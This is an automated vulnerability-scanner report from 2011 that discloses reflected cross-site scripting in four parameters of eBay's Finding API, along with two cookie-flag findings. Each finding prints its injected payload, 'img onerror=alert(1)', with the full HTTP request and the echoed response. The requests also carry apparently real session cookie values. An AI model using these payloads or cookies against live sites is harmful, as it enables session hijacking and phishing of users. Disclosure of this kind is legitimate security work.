XSS, Reflected Cross Site Scripting, CWE-79, CAPEC-86, svcs.ebay.com

Note that the Callback Parameter may provide an attack vector in older Browsers.

Report generated by XSS.CX at Fri Oct 28 11:55:40 CDT 2011.



1. Cross-site scripting (reflected)

1.1. http://svcs.ebay.com/services/search/FindingService/v1 [OPERATION-NAME parameter]

1.2. http://svcs.ebay.com/services/search/FindingService/v1 [SECURITY-APPNAME parameter]

1.3. http://svcs.ebay.com/services/search/FindingService/v1 [callback parameter]

1.4. http://svcs.ebay.com/services/search/FindingService/v1 [paginationInput.entriesPerPage parameter]

2. Cookie scoped to parent domain

3. Cookie without HttpOnly flag set



1. Cross-site scripting (reflected)  next
There are 4 instances of this issue:

Issue background

Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.

The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.

Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).

The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organisation. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organisation which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organisation in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.

Issue remediation

In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defences:In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.


1.1. http://svcs.ebay.com/services/search/FindingService/v1 [OPERATION-NAME parameter]  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://svcs.ebay.com
Path:   /services/search/FindingService/v1

Issue detail

The value of the OPERATION-NAME request parameter is copied into the HTML document as plain text between tags. The payload a5fe2<img%20src%3da%20onerror%3dalert(1)>5328d141a97 was submitted in the OPERATION-NAME parameter. This input was echoed as a5fe2<img src=a onerror=alert(1)>5328d141a97 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.

Request

GET /services/search/FindingService/v1?SECURITY-APPNAME=Milod6151-9f61-415e-9c21-a86ffbaace2&OPERATION-NAME=findItemsByKeywordsa5fe2<img%20src%3da%20onerror%3dalert(1)>5328d141a97&SERVICE-VERSION=1.0.0&RESPONSE-DATA-FORMAT=JSON&callback=_cb_findItemsByKeywords&REST-PAYLOAD&keywords=null&paginationInput.entriesPerPage=10 HTTP/1.1
Host: svcs.ebay.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.202 Safari/535.1
Accept: */*
Referer: http://milo.com/thermos-thermo-cafe-stainless-steel-travel-tumbler-16-oz
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: cid=qsdn0Wrv; npii=btrm/svid%3D646543881975079b8d2^cguid/62d7951f1320a479e7268c86ff361dd15079b8d2^tguid/8daf51491320a47a44872647fef8737a5079b8d2^; ds2=asotr/bkXzzzzzzzzz^; ebay=%5Ecv%3D15555%5Ecompare-items%3D%7Edomain%3D.ebay.com%7E%5Esbf%3D%23%5Ecos%3D16%5E; dp1=bpbf/%23300000400000005079b8ec^tzo/12c4e98937c^u1p/QEBfX0BAX19AQA**5079b8ec^idm/14e99ccb6^; ns1=BAQAAATL6lAoKAAaAANgATFB5uOxjNzJ8NjAxXjEzMTg2MTcxMTAzMTNeXjFeM3wyfDY1fDV8NHw3XjFeMl40XjNeMTJeMTJeMl4xXjFeMF4xXjBeMV42NDQyNDU5MDc1VOzH0eG51YtgbyIpUPcDbYjfgyU*; cssg=03a0e7a31330a5a9c39288c2ffc8f024; s=BAQAAATL6lAoKAAWAAPgAIE6Z1uwwM2EwZTdhMzEzMzBhNWE5YzM5Mjg4YzJmZmM4ZjAyNAASAApOmdbsdGVzdENvb2tpZQFKABdOmdbsNGU5ODg1NmMuMC4xLjcuNjIuNy4wLjMA7gBJTpnW7DMGaHR0cDovL3d3dy5lYmF5LmNvbTo4MC9zY2gvb2RkYmFuYW5hL20uaHRtbD9fbmt3PSZfYXJtcnM9MSZfZnJvbT0mX2lwZz3746fb/0z7y5CbymJTY06lKRWxjQ**; nonsession=CgAFMABdQebjsNGU5ODg1NmMuMC4xLjcuNzEuNi4wLjMAygAgV/6G7DhkYWY1MTQ5MTMyMGE0N2E0NDg3MjY0N2ZlZjg3MzdhAMsAAk6YjHQzNgfVnQM*; lucky9=8011343

Response

HTTP/1.1 200 OK
Content-Type: text/javascript
Cache-Control: private
Pragma: no-cache
Server: Apache-Coyote/1.1
Set-Cookie: lucky9=8011343; Domain=.ebay.com; Expires=Wed, 12-Oct-2016 19:21:11 GMT; Path=/
X-EBAY-ESB-GUID: urn:uuid:522FEECCA6F8B448C41318925154602
Date: Fri, 14 Oct 2011 19:21:10 GMT
Content-Length: 475

_cb_findItemsByKeywords({"ms.errorMessage":[{"error":[{"errorId":["2000"],"domain":["CoreRuntime"],"severity":["Error"],"category":["Request"],"message":["Service operation findItemsByKeywordsa5fe2<img src=a onerror=alert(1)>5328d141a97 is unknown"],"subdomain":["Inbound_Meta_Data"],"exceptionId":["com.ebay.soaframework.common.exceptions.ServiceException"],"parameter":[{"@name":"Param1","__value__":"findItemsByKeywordsa5fe2<img src=a
...[SNIP]...

1.2. http://svcs.ebay.com/services/search/FindingService/v1 [SECURITY-APPNAME parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://svcs.ebay.com
Path:   /services/search/FindingService/v1

Issue detail

The value of the SECURITY-APPNAME request parameter is copied into the HTML document as plain text between tags. The payload 61ddf<img%20src%3da%20onerror%3dalert(1)>b2f25b88a9c was submitted in the SECURITY-APPNAME parameter. This input was echoed as 61ddf<img src=a onerror=alert(1)>b2f25b88a9c in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.

Request

GET /services/search/FindingService/v1?SECURITY-APPNAME=Milod6151-9f61-415e-9c21-a86ffbaace261ddf<img%20src%3da%20onerror%3dalert(1)>b2f25b88a9c&OPERATION-NAME=findItemsByKeywords&SERVICE-VERSION=1.0.0&RESPONSE-DATA-FORMAT=JSON&callback=_cb_findItemsByKeywords&REST-PAYLOAD&keywords=null&paginationInput.entriesPerPage=10 HTTP/1.1
Host: svcs.ebay.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.202 Safari/535.1
Accept: */*
Referer: http://milo.com/thermos-thermo-cafe-stainless-steel-travel-tumbler-16-oz
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: cid=qsdn0Wrv; npii=btrm/svid%3D646543881975079b8d2^cguid/62d7951f1320a479e7268c86ff361dd15079b8d2^tguid/8daf51491320a47a44872647fef8737a5079b8d2^; ds2=asotr/bkXzzzzzzzzz^; ebay=%5Ecv%3D15555%5Ecompare-items%3D%7Edomain%3D.ebay.com%7E%5Esbf%3D%23%5Ecos%3D16%5E; dp1=bpbf/%23300000400000005079b8ec^tzo/12c4e98937c^u1p/QEBfX0BAX19AQA**5079b8ec^idm/14e99ccb6^; ns1=BAQAAATL6lAoKAAaAANgATFB5uOxjNzJ8NjAxXjEzMTg2MTcxMTAzMTNeXjFeM3wyfDY1fDV8NHw3XjFeMl40XjNeMTJeMTJeMl4xXjFeMF4xXjBeMV42NDQyNDU5MDc1VOzH0eG51YtgbyIpUPcDbYjfgyU*; cssg=03a0e7a31330a5a9c39288c2ffc8f024; s=BAQAAATL6lAoKAAWAAPgAIE6Z1uwwM2EwZTdhMzEzMzBhNWE5YzM5Mjg4YzJmZmM4ZjAyNAASAApOmdbsdGVzdENvb2tpZQFKABdOmdbsNGU5ODg1NmMuMC4xLjcuNjIuNy4wLjMA7gBJTpnW7DMGaHR0cDovL3d3dy5lYmF5LmNvbTo4MC9zY2gvb2RkYmFuYW5hL20uaHRtbD9fbmt3PSZfYXJtcnM9MSZfZnJvbT0mX2lwZz3746fb/0z7y5CbymJTY06lKRWxjQ**; nonsession=CgAFMABdQebjsNGU5ODg1NmMuMC4xLjcuNzEuNi4wLjMAygAgV/6G7DhkYWY1MTQ5MTMyMGE0N2E0NDg3MjY0N2ZlZjg3MzdhAMsAAk6YjHQzNgfVnQM*; lucky9=8011343

Response

HTTP/1.1 200 OK
Content-Type: text/javascript
Cache-Control: private
Pragma: no-cache
Server: Apache-Coyote/1.1
Set-Cookie: lucky9=8011343; Domain=.ebay.com; Expires=Wed, 12-Oct-2016 19:21:10 GMT; Path=/
X-EBAY-ESB-GUID: urn:uuid:C6BB815CB2D6262BC11318926622569
Date: Fri, 14 Oct 2011 19:21:09 GMT
Content-Length: 538

_cb_findItemsByKeywords({"errorMessage":[{"error":[{"errorId":["11002"],"domain":["Security"],"severity":["Error"],"category":["System"],"message":["Authentication failed : Invalid Application: Milod6151-9f61-415e-9c21-a86ffbaace261ddf<img src=a onerror=alert(1)>b2f25b88a9c"],"subdomain":["Authentication"],"exceptionId":["com.ebay.soaframework.common.exceptions.SecurityException"],"parameter":[{"@name":"Param1","__value__":"Invalid Application: Milod6151-9f61-415e-9c21-a
...[SNIP]...

1.3. http://svcs.ebay.com/services/search/FindingService/v1 [callback parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://svcs.ebay.com
Path:   /services/search/FindingService/v1

Issue detail

The value of the callback request parameter is copied into the HTML document as plain text between tags. The payload 306a6<img%20src%3da%20onerror%3dalert(1)>31f055b3302 was submitted in the callback parameter. This input was echoed as 306a6<img src=a onerror=alert(1)>31f055b3302 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.

Request

GET /services/search/FindingService/v1?SECURITY-APPNAME=Milod6151-9f61-415e-9c21-a86ffbaace2&OPERATION-NAME=findItemsByKeywords&SERVICE-VERSION=1.0.0&RESPONSE-DATA-FORMAT=JSON&callback=_cb_findItemsByKeywords306a6<img%20src%3da%20onerror%3dalert(1)>31f055b3302&REST-PAYLOAD&keywords=null&paginationInput.entriesPerPage=10 HTTP/1.1
Host: svcs.ebay.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.202 Safari/535.1
Accept: */*
Referer: http://milo.com/thermos-thermo-cafe-stainless-steel-travel-tumbler-16-oz
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: cid=qsdn0Wrv; npii=btrm/svid%3D646543881975079b8d2^cguid/62d7951f1320a479e7268c86ff361dd15079b8d2^tguid/8daf51491320a47a44872647fef8737a5079b8d2^; ds2=asotr/bkXzzzzzzzzz^; ebay=%5Ecv%3D15555%5Ecompare-items%3D%7Edomain%3D.ebay.com%7E%5Esbf%3D%23%5Ecos%3D16%5E; dp1=bpbf/%23300000400000005079b8ec^tzo/12c4e98937c^u1p/QEBfX0BAX19AQA**5079b8ec^idm/14e99ccb6^; ns1=BAQAAATL6lAoKAAaAANgATFB5uOxjNzJ8NjAxXjEzMTg2MTcxMTAzMTNeXjFeM3wyfDY1fDV8NHw3XjFeMl40XjNeMTJeMTJeMl4xXjFeMF4xXjBeMV42NDQyNDU5MDc1VOzH0eG51YtgbyIpUPcDbYjfgyU*; cssg=03a0e7a31330a5a9c39288c2ffc8f024; s=BAQAAATL6lAoKAAWAAPgAIE6Z1uwwM2EwZTdhMzEzMzBhNWE5YzM5Mjg4YzJmZmM4ZjAyNAASAApOmdbsdGVzdENvb2tpZQFKABdOmdbsNGU5ODg1NmMuMC4xLjcuNjIuNy4wLjMA7gBJTpnW7DMGaHR0cDovL3d3dy5lYmF5LmNvbTo4MC9zY2gvb2RkYmFuYW5hL20uaHRtbD9fbmt3PSZfYXJtcnM9MSZfZnJvbT0mX2lwZz3746fb/0z7y5CbymJTY06lKRWxjQ**; nonsession=CgAFMABdQebjsNGU5ODg1NmMuMC4xLjcuNzEuNi4wLjMAygAgV/6G7DhkYWY1MTQ5MTMyMGE0N2E0NDg3MjY0N2ZlZjg3MzdhAMsAAk6YjHQzNgfVnQM*; lucky9=8011343

Response

HTTP/1.1 200 OK
Content-Type: application/json
Cache-Control: private
Pragma: no-cache
Server: Apache-Coyote/1.1
Set-Cookie: lucky9=8011343; Domain=.ebay.com; Expires=Wed, 12-Oct-2016 19:21:16 GMT; Path=/
X-EBAY-ESB-GUID: urn:uuid:794F3D817CE9782E0A1318925993189
Date: Fri, 14 Oct 2011 19:21:16 GMT
Content-Length: 388

{"findItemsByKeywordsResponse":{"errorMessage":{"error":[{"errorId":"3014","domain":"CoreRuntime","severity":"Error","category":"System","message":"Invalid callback function name _cb_findItemsByKeywords306a6<img src=a onerror=alert(1)>31f055b3302","subdomain":"System","parameter":[{"@name":"Param0","__value__":"_cb_findItemsByKeywords306a6<img src=a onerror=alert(1)>
...[SNIP]...

1.4. http://svcs.ebay.com/services/search/FindingService/v1 [paginationInput.entriesPerPage parameter]  previous

Summary

Severity:   High
Confidence:   Certain
Host:   http://svcs.ebay.com
Path:   /services/search/FindingService/v1

Issue detail

The value of the paginationInput.entriesPerPage request parameter is copied into the HTML document as plain text between tags. The payload d9715<img%20src%3da%20onerror%3dalert(1)>83933314759 was submitted in the paginationInput.entriesPerPage parameter. This input was echoed as d9715<img src=a onerror=alert(1)>83933314759 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.

Request

GET /services/search/FindingService/v1?SECURITY-APPNAME=Milod6151-9f61-415e-9c21-a86ffbaace2&OPERATION-NAME=findItemsByKeywords&SERVICE-VERSION=1.0.0&RESPONSE-DATA-FORMAT=JSON&callback=_cb_findItemsByKeywords&REST-PAYLOAD&keywords=null&paginationInput.entriesPerPage=10d9715<img%20src%3da%20onerror%3dalert(1)>83933314759 HTTP/1.1
Host: svcs.ebay.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.202 Safari/535.1
Accept: */*
Referer: http://milo.com/thermos-thermo-cafe-stainless-steel-travel-tumbler-16-oz
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: cid=qsdn0Wrv; npii=btrm/svid%3D646543881975079b8d2^cguid/62d7951f1320a479e7268c86ff361dd15079b8d2^tguid/8daf51491320a47a44872647fef8737a5079b8d2^; ds2=asotr/bkXzzzzzzzzz^; ebay=%5Ecv%3D15555%5Ecompare-items%3D%7Edomain%3D.ebay.com%7E%5Esbf%3D%23%5Ecos%3D16%5E; dp1=bpbf/%23300000400000005079b8ec^tzo/12c4e98937c^u1p/QEBfX0BAX19AQA**5079b8ec^idm/14e99ccb6^; ns1=BAQAAATL6lAoKAAaAANgATFB5uOxjNzJ8NjAxXjEzMTg2MTcxMTAzMTNeXjFeM3wyfDY1fDV8NHw3XjFeMl40XjNeMTJeMTJeMl4xXjFeMF4xXjBeMV42NDQyNDU5MDc1VOzH0eG51YtgbyIpUPcDbYjfgyU*; cssg=03a0e7a31330a5a9c39288c2ffc8f024; s=BAQAAATL6lAoKAAWAAPgAIE6Z1uwwM2EwZTdhMzEzMzBhNWE5YzM5Mjg4YzJmZmM4ZjAyNAASAApOmdbsdGVzdENvb2tpZQFKABdOmdbsNGU5ODg1NmMuMC4xLjcuNjIuNy4wLjMA7gBJTpnW7DMGaHR0cDovL3d3dy5lYmF5LmNvbTo4MC9zY2gvb2RkYmFuYW5hL20uaHRtbD9fbmt3PSZfYXJtcnM9MSZfZnJvbT0mX2lwZz3746fb/0z7y5CbymJTY06lKRWxjQ**; nonsession=CgAFMABdQebjsNGU5ODg1NmMuMC4xLjcuNzEuNi4wLjMAygAgV/6G7DhkYWY1MTQ5MTMyMGE0N2E0NDg3MjY0N2ZlZjg3MzdhAMsAAk6YjHQzNgfVnQM*; lucky9=8011343

Response

HTTP/1.1 200 OK
Content-Type: text/javascript
Cache-Control: private
Pragma: no-cache
Server: Apache-Coyote/1.1
Set-Cookie: lucky9=8011343; Domain=.ebay.com; Expires=Wed, 12-Oct-2016 19:21:17 GMT; Path=/
X-EBAY-ESB-GUID: urn:uuid:4B84A58D7781209FA81318923080128
Date: Fri, 14 Oct 2011 19:21:17 GMT
Content-Length: 543

_cb_findItemsByKeywords({"findItemsByKeywordsResponse":[{"ack":["Failure"],"errorMessage":[{"error":[{"errorId":["10"],"domain":["Marketplace"],"severity":["Error"],"category":["Request"],"message":["
...[SNIP]...
ied. Please specify data with appropriate data types."],"subdomain":["MarketplaceCommon"],"parameter":[{"@name":"ORIGINAL_MESSAGE","__value__":"Data validation warning(line -1, col 0): Not a number: 10d9715<img src=a onerror=alert(1)>83933314759"}]}]}],"version":["1.11.0"],"timestamp":["2011-10-14T19:21:17.748Z"]}]})

2. Cookie scoped to parent domain  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://svcs.ebay.com
Path:   /services/search/FindingService/v1

Issue detail

The following cookie was issued by the application and is scoped to a parent of the issuing domain:The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Issue background

A cookie's domain attribute determines which domains can access the cookie. Browsers will automatically submit the cookie in requests to in-scope domains, and those domains will also be able to access the cookie via JavaScript. If a cookie is scoped to a parent domain, then that cookie will be accessible by the parent domain and also by any other subdomains of the parent domain. If the cookie contains sensitive data (such as a session token) then this data may be accessible by less trusted or less secure applications residing at those domains, leading to a security compromise.

Issue remediation

By default, cookies are scoped to the issuing domain and all subdomains. If you remove the explicit domain attribute from your Set-cookie directive, then the cookie will have this default scope, which is safe and appropriate in most situations. If you particularly need a cookie to be accessible by a parent domain, then you should thoroughly review the security of the applications residing on that domain and its subdomains, and confirm that you are willing to trust the people and systems which support those applications.

Request

GET /services/search/FindingService/v1?SECURITY-APPNAME=Milod6151-9f61-415e-9c21-a86ffbaace2&OPERATION-NAME=findItemsByKeywords&SERVICE-VERSION=1.0.0&RESPONSE-DATA-FORMAT=JSON&callback=_cb_findItemsByKeywords&REST-PAYLOAD&keywords=null&paginationInput.entriesPerPage=10 HTTP/1.1
Host: svcs.ebay.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.202 Safari/535.1
Accept: */*
Referer: http://milo.com/thermos-thermo-cafe-stainless-steel-travel-tumbler-16-oz
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: cid=qsdn0Wrv; npii=btrm/svid%3D646543881975079b8d2^cguid/62d7951f1320a479e7268c86ff361dd15079b8d2^tguid/8daf51491320a47a44872647fef8737a5079b8d2^; ds2=asotr/bkXzzzzzzzzz^; ebay=%5Ecv%3D15555%5Ecompare-items%3D%7Edomain%3D.ebay.com%7E%5Esbf%3D%23%5Ecos%3D16%5E; dp1=bpbf/%23300000400000005079b8ec^tzo/12c4e98937c^u1p/QEBfX0BAX19AQA**5079b8ec^idm/14e99ccb6^; ns1=BAQAAATL6lAoKAAaAANgATFB5uOxjNzJ8NjAxXjEzMTg2MTcxMTAzMTNeXjFeM3wyfDY1fDV8NHw3XjFeMl40XjNeMTJeMTJeMl4xXjFeMF4xXjBeMV42NDQyNDU5MDc1VOzH0eG51YtgbyIpUPcDbYjfgyU*; cssg=03a0e7a31330a5a9c39288c2ffc8f024; s=BAQAAATL6lAoKAAWAAPgAIE6Z1uwwM2EwZTdhMzEzMzBhNWE5YzM5Mjg4YzJmZmM4ZjAyNAASAApOmdbsdGVzdENvb2tpZQFKABdOmdbsNGU5ODg1NmMuMC4xLjcuNjIuNy4wLjMA7gBJTpnW7DMGaHR0cDovL3d3dy5lYmF5LmNvbTo4MC9zY2gvb2RkYmFuYW5hL20uaHRtbD9fbmt3PSZfYXJtcnM9MSZfZnJvbT0mX2lwZz3746fb/0z7y5CbymJTY06lKRWxjQ**; nonsession=CgAFMABdQebjsNGU5ODg1NmMuMC4xLjcuNzEuNi4wLjMAygAgV/6G7DhkYWY1MTQ5MTMyMGE0N2E0NDg3MjY0N2ZlZjg3MzdhAMsAAk6YjHQzNgfVnQM*; lucky9=8011343

Response

HTTP/1.1 200 OK
Content-Type: text/javascript
Cache-Control: private
Pragma: no-cache
Server: Apache-Coyote/1.1
Set-Cookie: lucky9=8011343; Domain=.ebay.com; Expires=Wed, 12-Oct-2016 19:21:02 GMT; Path=/
X-EBAY-ESB-GUID: urn:uuid:CCFF4891DA15F959A31318923024757
Date: Fri, 14 Oct 2011 19:21:01 GMT
Content-Length: 13454

_cb_findItemsByKeywords({"findItemsByKeywordsResponse":[{"ack":["Success"],"version":["1.11.0"],"timestamp":["2011-10-14T19:21:02.147Z"],"searchResult":[{"@count":"10","item":[{"itemId":["390197437448
...[SNIP]...

3. Cookie without HttpOnly flag set  previous

Summary

Severity:   Information
Confidence:   Certain
Host:   http://svcs.ebay.com
Path:   /services/search/FindingService/v1

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Issue background

If the HttpOnly attribute is set on a cookie, then the cookie's value cannot be read or set by client-side JavaScript. This measure can prevent certain client-side attacks, such as cross-site scripting, from trivially capturing the cookie's value via an injected script.

Issue remediation

There is usually no good reason not to set the HttpOnly flag on all cookies. Unless you specifically require legitimate client-side scripts within your application to read or set a cookie's value, you should set the HttpOnly flag by including this attribute within the relevant Set-cookie directive.

You should be aware that the restrictions imposed by the HttpOnly flag can potentially be circumvented in some circumstances, and that numerous other serious attacks can be delivered by client-side script injection, aside from simple cookie stealing.

Request

GET /services/search/FindingService/v1?SECURITY-APPNAME=Milod6151-9f61-415e-9c21-a86ffbaace2&OPERATION-NAME=findItemsByKeywords&SERVICE-VERSION=1.0.0&RESPONSE-DATA-FORMAT=JSON&callback=_cb_findItemsByKeywords&REST-PAYLOAD&keywords=null&paginationInput.entriesPerPage=10 HTTP/1.1
Host: svcs.ebay.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.202 Safari/535.1
Accept: */*
Referer: http://milo.com/thermos-thermo-cafe-stainless-steel-travel-tumbler-16-oz
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: cid=qsdn0Wrv; npii=btrm/svid%3D646543881975079b8d2^cguid/62d7951f1320a479e7268c86ff361dd15079b8d2^tguid/8daf51491320a47a44872647fef8737a5079b8d2^; ds2=asotr/bkXzzzzzzzzz^; ebay=%5Ecv%3D15555%5Ecompare-items%3D%7Edomain%3D.ebay.com%7E%5Esbf%3D%23%5Ecos%3D16%5E; dp1=bpbf/%23300000400000005079b8ec^tzo/12c4e98937c^u1p/QEBfX0BAX19AQA**5079b8ec^idm/14e99ccb6^; ns1=BAQAAATL6lAoKAAaAANgATFB5uOxjNzJ8NjAxXjEzMTg2MTcxMTAzMTNeXjFeM3wyfDY1fDV8NHw3XjFeMl40XjNeMTJeMTJeMl4xXjFeMF4xXjBeMV42NDQyNDU5MDc1VOzH0eG51YtgbyIpUPcDbYjfgyU*; cssg=03a0e7a31330a5a9c39288c2ffc8f024; s=BAQAAATL6lAoKAAWAAPgAIE6Z1uwwM2EwZTdhMzEzMzBhNWE5YzM5Mjg4YzJmZmM4ZjAyNAASAApOmdbsdGVzdENvb2tpZQFKABdOmdbsNGU5ODg1NmMuMC4xLjcuNjIuNy4wLjMA7gBJTpnW7DMGaHR0cDovL3d3dy5lYmF5LmNvbTo4MC9zY2gvb2RkYmFuYW5hL20uaHRtbD9fbmt3PSZfYXJtcnM9MSZfZnJvbT0mX2lwZz3746fb/0z7y5CbymJTY06lKRWxjQ**; nonsession=CgAFMABdQebjsNGU5ODg1NmMuMC4xLjcuNzEuNi4wLjMAygAgV/6G7DhkYWY1MTQ5MTMyMGE0N2E0NDg3MjY0N2ZlZjg3MzdhAMsAAk6YjHQzNgfVnQM*; lucky9=8011343

Response

HTTP/1.1 200 OK
Content-Type: text/javascript
Cache-Control: private
Pragma: no-cache
Server: Apache-Coyote/1.1
Set-Cookie: lucky9=8011343; Domain=.ebay.com; Expires=Wed, 12-Oct-2016 19:21:02 GMT; Path=/
X-EBAY-ESB-GUID: urn:uuid:CCFF4891DA15F959A31318923024757
Date: Fri, 14 Oct 2011 19:21:01 GMT
Content-Length: 13454

_cb_findItemsByKeywords({"findItemsByKeywordsResponse":[{"ack":["Success"],"version":["1.11.0"],"timestamp":["2011-10-14T19:21:02.147Z"],"searchResult":[{"@count":"10","item":[{"itemId":["390197437448
...[SNIP]...

Report generated by XSS.CX at Fri Oct 28 11:55:40 CDT 2011.